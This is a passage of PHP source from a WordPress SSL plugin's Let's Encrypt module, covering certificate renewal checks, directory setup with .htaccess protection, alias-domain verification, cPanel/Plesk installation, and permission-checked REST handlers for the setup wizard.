	 * @return bool
	 */
	public function certificate_automatic_install_possible(){

		$install_method = get_option('rsssl_le_certificate_installed_by_rsssl');

		//if it was never auto installed, we probably can't autorenew.
		if ($install_method === false ) {
			return false;
		} else {
			return true;
		}
    }

	/**
	 * Check if the manual renewal should start.
	 *
	 * @return bool
	 */
    public function should_start_manual_installation_renewal(){
	    if ( !$this->should_start_manual_ssl_generation() && get_option( "rsssl_le_start_installation" ) ) {
			return true;
	    }
	    return false;
    }

	public function should_start_manual_ssl_generation(){
		return get_option( "rsssl_le_start_renewal" );
	}

	/**
	 * Only used if
	 * - SSL generated by RSSSL
	 * - certificate is about to expire
	 *
	 * @return string
	 */
	public function certificate_renewal_status_notice(){
    	if ( !RSSSL_LE()->letsencrypt_handler->ssl_generation_can_auto_renew()){
		    return 'manual-generation';
	    }

    	if ( $this->certificate_install_required() &&
	         $this->certificate_automatic_install_possible() &&
	         $this->installation_failed()
	    ){
    		return 'automatic-installation-failed';
	    }

    	if ( $this->certificate_install_required() && !$this->certificate_automatic_install_possible() ) {
    		return 'manual-installation';
	    }

    	return 'automatic';
	}

	/**
	 * Check if the certificate has to be installed on each renewal
	 * defaults to true.
	 *
	 */

    public function certificate_install_required(){
	    $install_method = get_option('rsssl_le_certificate_installed_by_rsssl');
	    $hosting_company = rsssl_get_other_host();
	    if ( in_array($install_method, RSSSL_LE()->hosts->no_installation_renewal_needed) || in_array($hosting_company, RSSSL_LE()->hosts->no_installation_renewal_needed)) {
		    return false;
	    }

        return true;
    }

	/**
     * Check if the certificate needs renewal.
     *
	 * @return bool
	 */
    public function cron_certificate_needs_renewal(){

	    $cert_file = get_option('rsssl_certificate_path');
	    if ( empty($cert_file) ) {
	    	return false;
	    }

	    $certificate = file_get_contents($cert_file);
	    $certificateInfo = openssl_x509_parse($certificate);
	    $valid_to = $certificateInfo['validTo_time_t'];
	    $in_expiry_days = strtotime( "+".rsssl_le_cron_generation_renewal_check." days" );
	    if ( $in_expiry_days > $valid_to ) {
	        return true;
        } else {
	        return false;
	    }
    }


	/**
     * Get account email
	 * @return string
	 */
	public function account_email(){
	    //don't use the default value: we want users to explicitly enter a value
	    return rsssl_get_option('email_address' );
    }
	/**
     * Get terms accepted
	 * @return RSSSL_RESPONSE
	 */

	public function terms_accepted(){
	    //don't use the default value: we want users to explicitly enter a value
	    $accepted =  rsssl_get_option('accept_le_terms');
		if ( $accepted ) {
			$status = 'success';
			$action = 'continue';
			$message = __("Terms & Conditions are accepted.",'really-simple-ssl');
		} else {
			$status = 'error';
			$action = 'stop';
			$message = __("The Terms & Conditions were not accepted. Please accept in the general settings.",'really-simple-ssl');
		}

		return new RSSSL_RESPONSE($status, $action, $message);
    }



	/**
     * Change the email address in an account
	 * @param $new_email
	 */

    public function update_account( $new_email ){
	    if (!$this->account) return;

	    try {
	        $this->account->update($new_email);
        } catch (Exception $e) {
        }
    }

	/**
     * Get list of common names on the certificate
	 * @return array
	 */
	public function get_subjects(){
		$subjects = array();
		$domain = rsssl_get_domain();
		$root = str_replace( 'www.', '', $domain );;
		$subjects[] = $domain;
		//don't offer aliasses for subdomains
		if ( !rsssl_is_subdomain() ) {
			if (rsssl_get_option( 'include_alias' )) {
				//main is www.
				if ( strpos( $domain, 'www.' ) !== false ) {
					$alias_domain = $root;
				} else {
					$alias_domain = 'www.'.$root;
				}
				$subjects[] = $alias_domain;
			}
		}

		if ( rsssl_wildcard_certificate_required() ) {
			$domain = rsssl_get_domain();
			//in theory, the main site of a subdomain setup can be a www. domain. But we have to request a certificate without the www.
			$domain   = str_replace( 'www.', '', $domain );
			$subjects = array(
				$domain,
				'*.' . $domain,
			);
		}

	    return apply_filters('rsssl_le_subjects', $subjects);
	}

	/**
     * Check if we're ready for the next step.
	 * @param string $item
	 *
	 * @return array | bool
	 */
	public function is_ready_for($item) {
		if ( !rsssl_do_local_lets_encrypt_generation() ) {
			rsssl_progress_add('directories');
			rsssl_progress_add('generation');
			rsssl_progress_add('dns-verification');
		}

		if ( !rsssl_dns_verification_required() ) {
			rsssl_progress_add('dns-verification');
		}

		if (empty(rsssl_get_not_completed_steps($item))){
            return true;
        } else{
            return false;
        }
	}

	/**
	 * Catch errors
	 *
	 * @since 3.0
	 *
	 * @access public
	 * @param       $errno
	 * @param       $errstr
	 * @param       $errfile
	 * @param       $errline
	 * @param array $errcontext
	 *
	 * @return bool
	 */

	public function custom_error_handling( $errno, $errstr, $errfile, $errline, $errcontext = array() ) {
		return true;
	}

	public function not_completed_steps_message($step){
		$not_completed_steps = rsssl_get_not_completed_steps($step);
		$nice_names = array();
		$steps = rsssl_le_steps();
		foreach ($not_completed_steps as $not_completed_step ) {
			$index = array_search($not_completed_step, array_column( $steps, 'id'));
			$nice_names[] = $steps[$index]['title'];
		}
		return sprintf(__('Please complete the following step(s) first: %s', "really-simple-ssl"), implode(", ", $nice_names) );
	}

	/**
	 * Test for writing permissions
	 * @return RSSSL_RESPONSE
	 */

	public function check_writing_permissions(){
		$directories_without_permissions = $this->directories_without_writing_permissions();
		$has_missing_permissions = count($directories_without_permissions)>0;

		if ( $has_missing_permissions ) {
			rsssl_progress_remove('directories');
			$action = 'stop';
			$status = 'error';
			$message = __("The following directories do not have the necessary writing permissions.", "really-simple-ssl" )."&nbsp;".__("Set permissions to 644 to enable SSL generation.", "really-simple-ssl" );
			foreach ($directories_without_permissions as $directories_without_permission) {
				$message .= "<br> - ".$directories_without_permission;
			}
		} else {
			$action = 'continue';
			$status = 'success';
			$message = __("The required directories have the necessary writing permissions.", "really-simple-ssl" );
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
	 * Verify if a host has been selected, and if so, if this host supports LE, or if it's already active
	 */
	public function check_host(){
		$action = 'continue';
		$status = 'success';
		$message = __("We have not detected any known hosting limitations.", "really-simple-ssl" );
		$host = rsssl_get_other_host();
		if ( $host === 'none' ) $host = false;
		if ( isset(RSSSL_LE()->hosts->hosts[$host]) ){
			if ( RSSSL_LE()->hosts->hosts[$host]['free_ssl_available'] === 'paid_only' ) {
				$action = 'stop';
				$status = 'error';
				$message = sprintf(__("According to our information, your hosting provider does not allow any kind of SSL installation, other then their own paid certificate. For an alternative hosting provider with SSL, see this %sarticle%s.","really-simple-ssl"), '<a target="_blank" href="https://really-simple-ssl.com/hosting-providers-with-free-ssl">', '</a>');
			}

			if ( RSSSL_LE()->hosts->hosts[$host]['free_ssl_available'] === 'activated_by_default' ) {
				$url = RSSSL_LE()->hosts->hosts[$host]['ssl_installation_link'];
				$action = 'continue';
				$status = 'error';
				$message = sprintf(__("According to our information, your hosting provider supplies your account with an SSL certificate by default. Please contact your %shosting support%s if this is not the case.","really-simple-ssl"), '<a target="_blank" href="'.$url.'">', '</a>').'&nbsp'.
				       __("After completing the installation, you can let Really Simple Security automatically configure your site for SSL by using the 'Activate SSL' button.","really-simple-ssl");
			}
		}
		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
	 * Test for directory
	 * @return RSSSL_RESPONSE
	 */

	public function check_challenge_directory(){
		if ( !$this->challenge_directory() ) {
			rsssl_progress_remove('directories');
			$action = 'stop';
			$status = 'error';
			$message = __("The challenge directory is not created yet.", "really-simple-ssl" );
		} else {
			$action = 'continue';
			$status = 'success';
			$message = __("The challenge directory was successfully created.", "really-simple-ssl" );
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}
	/**
	 * Test for directory
	 * @return RSSSL_RESPONSE
	 */

	public function check_key_directory(){
		$action = 'stop';
		$status = 'error';
		$message = __("The key directory is not created yet.", "really-simple-ssl" );
		//this option is set in the key_dir function, so we need to check it now.
		if ( !get_option('rsssl_create_folders_in_root')) {
			$action = 'retry';
			$message = __("Trying to create directory in root of website.", "really-simple-ssl" );
		}

		if ( !$this->key_directory() ) {
			rsssl_progress_remove('directories');
		} else {
			$action = 'continue';
			$status = 'success';
			$message = __("The key directory was successfully created.", "really-simple-ssl" );
		}
		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
	 * Test for directory
	 * @return RSSSL_RESPONSE
	 */

	public function check_certs_directory(){
		if ( !$this->certs_directory() ) {
			rsssl_progress_remove('directories');
			$action = 'stop';
			$status = 'error';
			$message = __("The certs directory is not created yet.", "really-simple-ssl" );
		} else {
			$action = 'continue';
			$status = 'success';
			$message = __("The certs directory was successfully created.", "really-simple-ssl" );
		}
		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
	 * Check if our created directories have the necessary writing permissions
	 */

	public function directories_without_writing_permissions( ){
		$required_folders = array(
			$this->key_directory,
			$this->certs_directory,
		);

		if ( !rsssl_dns_verification_required() ) {
			$required_folders[] = $this->challenge_directory;
		}

		$no_writing_permissions = array();
		foreach ($required_folders as $required_folder){
			if (!$this->directory_has_writing_permissions( $required_folder )) {
				$no_writing_permissions[] = $required_folder;
			}
		}

		return $no_writing_permissions;
	}

	/**
	 * Check if a directory has writing permissions
	 * @param string $directory
	 *
	 * @return bool
	 */
	public function directory_has_writing_permissions( $directory ){
		set_error_handler(array($this, 'custom_error_handling'));
		$test_file = fopen( $directory . "/really-simple-ssl-permissions-check.txt", "w" );
		if ( !$test_file ) {
			return false;
		}

		fwrite($test_file, 'file to test writing permissions for Really Simple Security');
		fclose( $test_file );
		restore_error_handler();
		if (!file_exists($directory . "/really-simple-ssl-permissions-check.txt")) {
			return false;
		} else {
			return true;
		}
	}

	/**
	 * Check if the challenage directory is reachable over the http protocol
	 * @return RSSSL_RESPONSE
	 */

	public function challenge_directory_reachable(){
		$file_content = false;
		$status_code = __('no response','really-simple-ssl');
		//make sure we request over http, otherwise the request might fail if the url is already https.
		$url = str_replace('https://', 'http://', site_url('.well-known/acme-challenge/really-simple-ssl-permissions-check.txt'));

		$error_message = sprintf(__( "Could not reach challenge directory over %s.", "really-simple-ssl"), '<a target="_blank" href="'.$url.'">'.$url.'</a>');
		$test_string = 'Really Simple Security';
		$folders = $this->directories_without_writing_permissions();
		if ( !$this->challenge_directory() || count($folders) !==0 ) {
			$status  = 'error';
			$action  = 'stop';
			$message = __( "Challenge directory not writable.", "really-simple-ssl");
			return new RSSSL_RESPONSE($status, $action, $message);
		}

		$response       = wp_remote_get( $url );
		if ( is_array( $response ) ) {
			$status_code       = wp_remote_retrieve_response_code( $response );
			$file_content = wp_remote_retrieve_body( $response );
		}

		if ( $status_code !== 200 ) {
			if (get_option('rsssl_skip_challenge_directory_request')) {
				$status  = 'warning';
				$action = 'continue';
				$message = $error_message.' '.sprintf( __( "Error code %s", "really-simple-ssl" ), $status_code );
			} else {
				$status  = 'error';
				$action = 'stop';
				$message = $error_message.' '.sprintf( __( "Error code %s", "really-simple-ssl" ), $status_code );
				rsssl_progress_remove('directories');
			}
		} else {
			if ( ! is_wp_error( $response ) && ( strpos( $file_content, $test_string ) !== false ) ) {
				$status  = 'success';
				$action  = 'continue';
				$message = __( "Successfully verified alias domain.", "really-simple-ssl" );
				set_transient('rsssl_alias_domain_available', 'available', 30 * MINUTE_IN_SECONDS );
			} else {
				$status  = 'error';
				$action  = 'stop';
				$message = $error_message;
				rsssl_progress_remove('directories');
			}
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
	 * Check if exists, create .well-known/acme-challenge directory if not existing
	 * @return bool|string
	 */
	public function challenge_directory() {
		$root_directory = trailingslashit(ABSPATH);
		if ( ! file_exists( $root_directory . '.well-known' ) ) {
			mkdir( $root_directory . '.well-known', 0755 );
		}

		if ( ! file_exists( $root_directory . '.well-known/acme-challenge' ) ) {
			mkdir( $root_directory . '.well-known/acme-challenge', 0755 );
		}

		if ( file_exists( $root_directory . '.well-known/acme-challenge' ) ){
			return $root_directory . '.well-known/acme-challenge';
		} else {
			return false;
		}
	}

	/**
	 * Check if exists, create ssl/certs directory above the wp root if not existing
	 * @return bool|string
	 */
	public function certs_directory(){
		$directory = $this->get_directory_path();
		if ( ! file_exists( $directory . 'ssl' ) ) {
			mkdir( $directory . 'ssl', 0755 );
		}

		if ( ! file_exists( $directory . 'ssl/certs' ) ) {
			mkdir( $directory . 'ssl/certs', 0755 );
		}

		if ( file_exists( $directory . 'ssl/certs' ) ){
			return $directory . 'ssl/certs';
		} else {
			return false;
		}
	}

	/**
	 * Get path to location where to create the directories.
	 * @return string
	 */
	public function get_directory_path(){
		$root_directory = trailingslashit(ABSPATH);
		if ( get_option('rsssl_create_folders_in_root') ) {
			if ( !get_option('rsssl_ssl_dirname') ) {
				$token = str_shuffle ( time() );
				update_option('rsssl_ssl_dirname', $token, false );
			}
			if ( ! file_exists( $root_directory . get_option('rsssl_ssl_dirname') ) ) {
				mkdir( $root_directory . get_option('rsssl_ssl_dirname'), 0755 );
			}
			return $root_directory . trailingslashit( get_option('rsssl_ssl_dirname') );
		} else {
			return trailingslashit(dirname($root_directory));
		}
	}

	/**
     * Check if exists, create ssl/keys directory above the wp root if not existing
	 * @return bool|string
	 */

	public function key_directory(){
		$directory = $this->get_directory_path();
		try {
			$openbasedir_restriction = $this->openbasedir_restriction($directory);
			if ( !$openbasedir_restriction ) {
				if ( ! file_exists( $directory . 'ssl' ) && is_writable( $directory ) ) {
					mkdir( $directory . 'ssl', 0755 );
				}

				if ( ! file_exists( $directory . 'ssl/keys' ) && is_writable( $directory . 'ssl' ) ) {
					mkdir( $directory . 'ssl/keys', 0755 );
				}
			}

			if ( !$openbasedir_restriction && file_exists( $directory . 'ssl/keys' ) ) {
				return $directory . 'ssl/keys';
			} else {
				//if creating the folder has failed, we're on apache, and can write to these folders, we create a root directory.
				$challenge_dir           = $this->challenge_directory;
				$has_writing_permissions = $this->directory_has_writing_permissions( $challenge_dir );
				//we're guessing that if the challenge dir has writing permissions, the new dir will also have it.
				if ( RSSSL()->server->uses_htaccess() && $has_writing_permissions ) {
					update_option( 'rsssl_create_folders_in_root', true, false );
				}

				return false;
			}
		} catch ( Exception $e ) {
			return false;
		}
	}

	/**
	 * Check for openbasedir restrictions
	 *
	 * @param string $path
	 *
	 * @return bool
	 */
	private function openbasedir_restriction( string $path): bool {

		// Default error handler is required
		set_error_handler(null);

		// Clean last error info.
		error_clear_last();

		// Testing...
		@file_exists($path);

		// Restore previous error handler
		restore_error_handler();

		// Return `true` if error has occurred
		return ($error = error_get_last()) && $error['message'] !== '__clean_error_info';
	}


	/**
	 * Clear the keys directory, used in reset function
	 * @since 5.0
	 */

	public function clear_keys_directory() {

		if (!rsssl_user_can_manage()) {
			return;
		}

		$dir = $this->key_directory();
		$this->delete_files_directories_recursively( $dir );

	}

	/**
	 * @param $dir
	 * Delete files and directories recursively. Used to clear the order from keys directory
	 * @since 5.0.11
	 */

	private function delete_files_directories_recursively( $dir ) {

		if ( strpos( $dir, 'ssl/keys' ) !== false ) {
			foreach ( glob( $dir . '/*' ) as $file ) {
				if ( is_dir( $file ) ) {
					$this->delete_files_directories_recursively( $file );
				} else {
					unlink( $file );
				}
			}
			rmdir( $dir );
		}
	}

	public function maybe_create_htaccess_directories(){
		if (!rsssl_user_can_manage()) {
			return;
		}

		if ( !RSSSL()->server->uses_htaccess() ) {
			return;
		}

		if ( !get_option('rsssl_create_folders_in_root') ) {
			return;
		}

		if ( !empty($this->get_directory_path()) ) {
			$this->write_htaccess_dir_file( $this->get_directory_path().'ssl/.htaccess' ,'ssl');
		}

		if ( !empty($this->key_directory()) ) {
			$this->write_htaccess_dir_file( trailingslashit($this->key_directory()).'.htaccess' ,'key');
		}
		if ( !empty($this->certs_directory()) ) {
			$this->write_htaccess_dir_file( trailingslashit($this->certs_directory()).'.htaccess' ,'certs');
		}
	}

	public function write_htaccess_dir_file($path, $type){
		$htaccess = '<ifModule mod_authz_core.c>' . "\n"
		            . '    Require all denied' . "\n"
		            . '</ifModule>' . "\n"
		            . '<ifModule !mod_authz_core.c>' . "\n"
		            . '    Deny from all' . "\n"
		            . '</ifModule>';
		insert_with_markers($path, 'Really Simple Security LETS ENCRYPT', $htaccess);

		$htaccess = file_get_contents( $path );
		if ( strpos($htaccess, 'deny from all') !== FALSE ) {
			update_option('rsssl_htaccess_file_set_'.$type, true, false);
			return;
		}
	}

	/**
	 * Check if it's a subdomain multisite
	 * @return RSSSL_RESPONSE
	 */
	public function is_subdomain_setup(){
		if ( !is_multisite() ) {
			$is_subdomain = false;
		} else {
			if ( defined('SUBDOMAIN_INSTALL') && SUBDOMAIN_INSTALL ) {
				$is_subdomain = true;
			} else {
				$is_subdomain = false;
			}
		}

		if ($is_subdomain) {
			$status  = 'error';
			$action  = 'stop';
			$message = sprintf(__("This is a multisite configuration with subdomains. You should generate a wildcard certificate on the root domain.",'really-simple-ssl'), '<a href="'.rsssl_link('pro','error', 'letsencrypt').'" target="_blank">','</a>');
			rsssl_progress_remove('system-status');
		} else {
			$status  = 'success';
			$action  = 'continue';
			$message = __("No subdomain setup detected.","really-simple-ssl");
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
	 * Check if we're about to create a wilcard certificate
	 * @return bool
	 */

	public function is_wildcard(){
		$subjects = $this->get_subjects();
		$is_wildcard = false;
		foreach ($subjects as $domain ) {
			if ( strpos($domain, '*') !== false ) {
				$is_wildcard = true;
			}
		}

		return $is_wildcard;
	}

	/**
	 * Check if the alias domain is available
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function alias_domain_available(){
		if ( rsssl_is_subdomain() ) {
			return new RSSSL_RESPONSE('success', 'continue',__("Alias domain check is not relevant for a subdomain","really-simple-ssl"));
		}
		//write a test file to the uploads directory
		$uploads    = wp_upload_dir();
		$upload_dir = trailingslashit($uploads['basedir']);
		$upload_url = trailingslashit($uploads['baseurl']);
		$file_content = false;
		$status_code = __('no response','really-simple-ssl');
		$domain = rsssl_get_domain();

		if ( strpos( $domain, 'www.' ) !== false ) {
			$is_www = true;
			$alias_domain = str_replace( 'www.', '', $domain );
		} else {
			$is_www = false;
			$alias_domain = 'www.'.$domain;
		}

		if ( $is_www ) {
			$message =  __("Please check if the non www version of your site also points to this website.", "really-simple-ssl" );
		} else {
			$message = __("Please check if the www version of your site also points to this website.", "really-simple-ssl" );
		}
		$error_message = __( "Could not verify alias domain.", "really-simple-ssl") .' '. $message.' '. __( "If this is not the case, don't add this alias to your certificate.", "really-simple-ssl");
		//get cached status first.
		$cached_status = get_transient('rsssl_alias_domain_available');
		if ( $cached_status ) {
			if ( $cached_status === 'available' ) {
				$status  = 'success';
				$action  = 'continue';
				$message = __( "Successfully verified alias domain.", "really-simple-ssl" );
			} else {
				$status  = 'warning';
				$action  = 'continue';
				$message = $error_message;
			}
			return new RSSSL_RESPONSE($status, $action, $message);
		}

		if ( ! file_exists( $upload_dir . 'rsssl' ) ) {
			mkdir( $upload_dir . 'rsssl', 0755 );
		}

		$test_string = 'file to test alias domain existence';
		$test_file = $upload_dir . 'rsssl/test.txt';
		file_put_contents($test_file, $test_string );
		$test_url = $upload_url . 'rsssl/test.txt';


		if ( ! file_exists( $test_file ) ) {
			$status = 'error';
			$action = 'stop';
			$message = __("Could not create test folder and file.", "really-simple-ssl").' '.
			           __("Please create a folder 'rsssl' in the uploads directory, with 644 permissions.", "really-simple-ssl");
		} else {
			set_transient('rsssl_alias_domain_available', 'not-available', 30 * MINUTE_IN_SECONDS );
			$alias_test_url = str_replace( $domain, $alias_domain, $test_url );
			//always over http:
			$alias_test_url = str_replace('https://','http://', $alias_test_url);
			$response       = wp_remote_get( $alias_test_url );
			if ( is_array( $response ) ) {
				$status_code       = wp_remote_retrieve_response_code( $response );
				$file_content = wp_remote_retrieve_body( $response );
			}

			if ( $status_code !== 200 ) {
				$status  = 'warning';
				$action  = 'continue';
				$message = $error_message;
				if (intval($status_code) != 0 ) {
					$message .= ' '.sprintf( __( "Error code %s", "really-simple-ssl" ), $status_code );
				}
			} else {
				if ( ! is_wp_error( $response ) && ( strpos( $file_content, $test_string ) !== false ) ) {
					//make sure we only set this value once, during first setup.
					if ( !get_option('rsssl_initial_alias_domain_value_set') ) {
						rsssl_update_option('include_alias', true);
						update_option('rsssl_initial_alias_domain_value_set', true, false);
					}
					$status  = 'success';
					$action  = 'continue';
					$message = __( "Successfully verified alias domain.", "really-simple-ssl" );
					set_transient('rsssl_alias_domain_available', 'available', 30 * MINUTE_IN_SECONDS );
				} else {
					$status  = 'warning';
					$action  = 'continue';
					$message = $error_message;
				}
			}
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}

	/**
     * Get string error from error message.
	 * @param mixed|LE_ACME2\Exception\InvalidResponse $e
	 *
	 * @return string
	 */
	private function get_error($e){
		$is_raw_response = false;
		if (method_exists($e, 'getRawResponse') && isset($e->getRawResponse()->body['detail'])) {
	    	$is_raw_response = true;
		    $error = $e->getRawResponse()->body['detail'];
		    //check for subproblems
		    if (isset($e->getRawResponse()->body['subproblems'])){
			    $error .= '<ul>';
		        foreach($e->getRawResponse()->body['subproblems'] as $index => $problem) {
			        $error .= '<li>'. $this->cleanup_error_message($e->getRawResponse()->body['subproblems'][$index]['detail']).'</li>';
		        }
			    $error .= '</ul>';
		    }

	    } else {
	        $error = $e->getMessage();
	    }


	    $max = strpos($error, 'CURL response');
	    if ($max===false) {
	    	$max = 200;
	    }
	    if (!$is_raw_response){
		    $error = substr( $error, 0, $max);
	    }
	    return $error;

	}

	/**
	 * Generic SSL cert installation function
	 *
	 * @return RSSSL_RESPONSE
	 */
	public function cron_renew_installation() {
		$install_method = get_option('rsssl_le_certificate_installed_by_rsssl');
		$data = explode(':', $install_method );

		$server = isset($data[0]) ? $data[0] : false;
		$type = isset($data[1]) ? $data[1] : false;

		$attempt_count = (int) get_transient( 'rsssl_le_install_attempt_count' );
		$attempt_count++;
		set_transient('rsssl_le_install_attempt_count', $attempt_count, DAY_IN_SECONDS);
		if ( $attempt_count>10 ){
			delete_option("rsssl_le_start_installation");
			$status = 'error';
			$action = 'stop';
			$message = __("The certificate installation was rate limited. Please try again later.",'really-simple-ssl');
			return new RSSSL_RESPONSE($status, $action, $message);
		}

		if (rsssl_is_ready_for('installation')) {
			try {
				if ( $server === 'cpanel' ) {
					if ($type==='default') {
						$response = rsssl_install_cpanel_default();
					} else if ( function_exists('rsssl_shell_installSSL') ) {
						$response = rsssl_shell_installSSL();
					} else {
						//in case of auto ssl.
						$response = new RSSSL_RESPONSE('error', 'stop', '');
						delete_option( "rsssl_le_start_installation" );
					}

					if ( $response->status === 'success' ) {
						delete_option( "rsssl_le_start_installation" );
					}
					return $response;
				} else if ( $server === 'plesk') {
					$response = rsssl_plesk_install();
					if ( $response->status === 'success' ) {
						delete_option( "rsssl_le_start_installation" );
					}
					return $response;
				} else {
					$status = 'error';
					$action = 'stop';
					$message = __("Not recognized server.", "really-simple-ssl");
				}
			} catch (Exception $e) {
				$status = 'error';
				$action = 'stop';
				$message = __("Installation failed.", "really-simple-ssl");
			}
		} else {
			$status = 'error';
			$action = 'stop';
			$message = __("The system is not ready for the installation yet. Please run the wizard again.", "really-simple-ssl");
		}

		return new RSSSL_RESPONSE($status, $action, $message);
	}

	public function upgrade(){
		if ( get_option('rsssl_upgrade_le_key') ) {
			// Check if the encryption key is not empty before upgrading. On slow servers, the write to wp-config.php can be
			// incomplete before the plugin gets here
			$key = $this->get_encryption_key();
			if ( empty( $key ) ) {
				return;
			}
			delete_option('rsssl_upgrade_le_key');
			$site_key = get_site_option( 'rsssl_le_key');
			if ( $site_key ) {
				$options = [
					'directadmin_password',
					'cpanel_password',
					'cloudways_api_key',
					'plesk_password',
				];
				foreach ( $options as $option ) {
					$option_value = rsssl_get_option( $option );
					if ( $option_value ) {
						$decrypted = $this->decrypt_if_prefixed( $option_value, 'rsssl_', $site_key);
						$encrypted = $this->encrypt_with_prefix($decrypted);
						rsssl_update_option($option, $encrypted);
					}
				}
				delete_site_option( 'rsssl_le_key');
			}
		}
	}

	/**
	 * Cleanup the default message a bit
	 *
	 * @param $msg
	 *
	 * @return string|string[]
	 */
	private function cleanup_error_message($msg){
		return str_replace(array(
			'Refer to sub-problems for more information.',
			'Error creating new order ::',
		), '', $msg);
    }
}
really-simple-ssl/lets-encrypt/class-le-restapi.php000064400000017765147510273070016462 0ustar00<?php defined( 'ABSPATH' ) or die();

if ( ! class_exists( "rsssl_le_restapi" ) ) {
	class rsssl_le_restapi{

		private static $_this;
		function __construct() {
			if ( isset( self::$_this ) ) {
				wp_die( sprintf( '%s is a singleton class and you cannot create a second instance.',
					get_class( $this ) ) );
			}

			self::$_this = $this;
			add_filter("rsssl_run_test", array($this, 'handle_lets_encrypt_request'), 10, 3);
			add_action( 'rsssl_after_save_field', array( $this, 'after_save_field' ), 10, 4 );
		}

		static function this() {
			return self::$_this;
		}



		/**
         * Switch to DNS verification
         * @param array $data
		 * @return []
		 */
        public function update_verification_type($data){
	        $type = $data['id'];
            $type = $type === 'dns' ? 'dns' : 'dir';
	        rsssl_update_option('verification_type', $type );
			//register this manual change, so we don't force change it back.
			update_option('rsssl_manually_changed_verification_type', true, false);
            if ($type==='dns') {
	            rsssl_progress_add('directories');
            } else {
	            rsssl_progress_add('dns-verification');
            }
	        return new RSSSL_RESPONSE(
		        'success',
		        'stop',
                ''
            );
        }

		/**
         * Skip DNS check
		 * @return RSSSL_RESPONSE
		 */
		public function skip_dns_check(){
		    if ( !rsssl_user_can_manage() ) {
			    return new RSSSL_RESPONSE(
				    'error',
				    'stop',
				    ''
			    );
            }
            update_option('rsssl_skip_dns_check', true, false);
			return new RSSSL_RESPONSE(
				'success',
				'stop',
				''
			);
        }
		/**
         * Get installation data
		 * @return RSSSL_RESPONSE
		 */
		public function installation_data(){
		    if ( !rsssl_user_can_manage() ) {
			    return new RSSSL_RESPONSE(
				    'error',
				    'stop',
				    ''
			    );
            }
			$key_file = get_option('rsssl_private_key_path');
			$cert_file = get_option('rsssl_certificate_path');
			$cabundle_file = get_option('rsssl_intermediate_path');
            $data = [
                    'generated_by_rsssl' => rsssl_generated_by_rsssl(),
	                'download_url' => rsssl_le_url.'download.php?token='.wp_create_nonce('rsssl_download_cert'),
                    'key_content' => file_exists($key_file) ? file_get_contents($key_file) : 'no data found',
                    'certificate_content' => file_exists($cert_file) ? file_get_contents($cert_file) : 'no data found',
                    'ca_bundle_content' => file_exists($cabundle_file) ? file_get_contents($cabundle_file) : 'no data found',
            ];
			return new RSSSL_RESPONSE(
				'success',
				'continue',
				'',
				$data
			);
        }

		/**
         * Challenge directory request
         *
		 * @return RSSSL_RESPONSE
		 */
		public function skip_challenge_directory_request(){
			if ( !rsssl_user_can_manage() ) {
				return new RSSSL_RESPONSE(
					'error',
					'stop',
					''
				);
			}

            update_option('rsssl_skip_challenge_directory_request', true, false);
			return new RSSSL_RESPONSE(
				'success',
				'stop',
				''
			);
		}

		/**
		 * Reset the LE wizard
		 * @return bool[]|RSSSL_RESPONSE
		 */
		public function reset() {

			if ( !rsssl_user_can_manage() ) {
				return new RSSSL_RESPONSE(
					'success',
					'stop',
                    ''
				);
			}

            RSSSL_LE()->letsencrypt_handler->clear_order(true);
            rsssl_update_option('verification_type', 'dir' );
            delete_option('rsssl_skip_dns_check' );
            delete_option('rsssl_skip_challenge_directory_request' );
            delete_option('rsssl_create_folders_in_root');
            delete_option('rsssl_hosting_dashboard');
            delete_option('rsssl_manually_changed_verification_type');

			return new RSSSL_RESPONSE(
				'success',
				'stop',
				''
			);
		}

		public function clean_up(){
			//clean up stored pw, if requested
			RSSSL_LE()->letsencrypt_handler->cleanup_on_ssl_activation();
		}

		/**
         * Process a Let's Encrypt test request
         *
		 * @param array $response
		 * @param string $test
		 * @param WP_REST_Request $request
		 *
		 * @return RSSSL_RESPONSE|array
		 */
        public function handle_lets_encrypt_request($response, $test, $data){
	        if ( ! current_user_can('manage_security') ) {
		        return new RSSSL_RESPONSE(
			        'error',
			        'stop',
			        __( "Permission denied.", 'really-simple-ssl' )
		        );
	        }
	        switch( $test ){
                case 'reset':
	                return $this->reset();
		        case 'update_verification_type':
                    return $this->update_verification_type($data);
		        case 'skip_dns_check':
			        return $this->skip_dns_check();
		        case 'skip_challenge_directory_request':
			        return $this->skip_challenge_directory_request();
		        case 'installation_data':
			        return $this->installation_data();
		        case 'is_subdomain_setup':
		        case 'verify_dns':
		        case 'certificate_status':
		        case 'curl_exists':
		        case 'server_software':
		        case 'alias_domain_available':
		        case 'check_domain':
		        case 'check_host':
		        case 'check_challenge_directory':
		        case 'check_key_directory':
		        case 'check_certs_directory':
		        case 'check_writing_permissions':
		        case 'challenge_directory_reachable':
		        case 'get_account':
		        case 'get_dns_token':
		        case 'terms_accepted':
		        case 'create_bundle_or_renew':
		        case 'search_ssl_installation_url':
		        case 'rsssl_install_cpanel_autossl':
		        case 'rsssl_cpanel_set_txt_record':
		        case 'rsssl_install_cpanel_default':
		        case 'rsssl_cloudways_server_data':
		        case 'rsssl_cloudways_install_ssl':
		        case 'rsssl_cloudways_auto_renew':
		        case 'rsssl_install_directadmin':
		        case 'rsssl_plesk_install':
		        case 'cleanup_on_ssl_activation':
                    return $this->get_installation_progress($response, $test, $data);
                default:
                    return $response;
            }
        }

		/**
         * Run a LE test
		 * @param $response
		 * @param $function
		 * @param $data
		 *
		 * @return RSSSL_RESPONSE
		 */
		public function get_installation_progress( $response, $function, $data ){
			$id = $data['id'];
			if ( ! current_user_can('manage_security') ) {
				return new RSSSL_RESPONSE(
					'error',
					'stop',
					__( "Permission denied.", 'really-simple-ssl' )
				);
			}

            if (!function_exists($function) && !method_exists(RSSSL_LE()->letsencrypt_handler, $function)) {
                return new RSSSL_RESPONSE(
                    'error',
                    'stop',
                    __( "Test not found.", 'really-simple-ssl' )
                );
            }

			rsssl_progress_add($id);
            if ( function_exists($function) ){
                $response = $function();
            } else {
                $response = RSSSL_LE()->letsencrypt_handler->$function();
            }

			return $response;
		}

		/**
		 * Handle some custom options after saving the wizard options
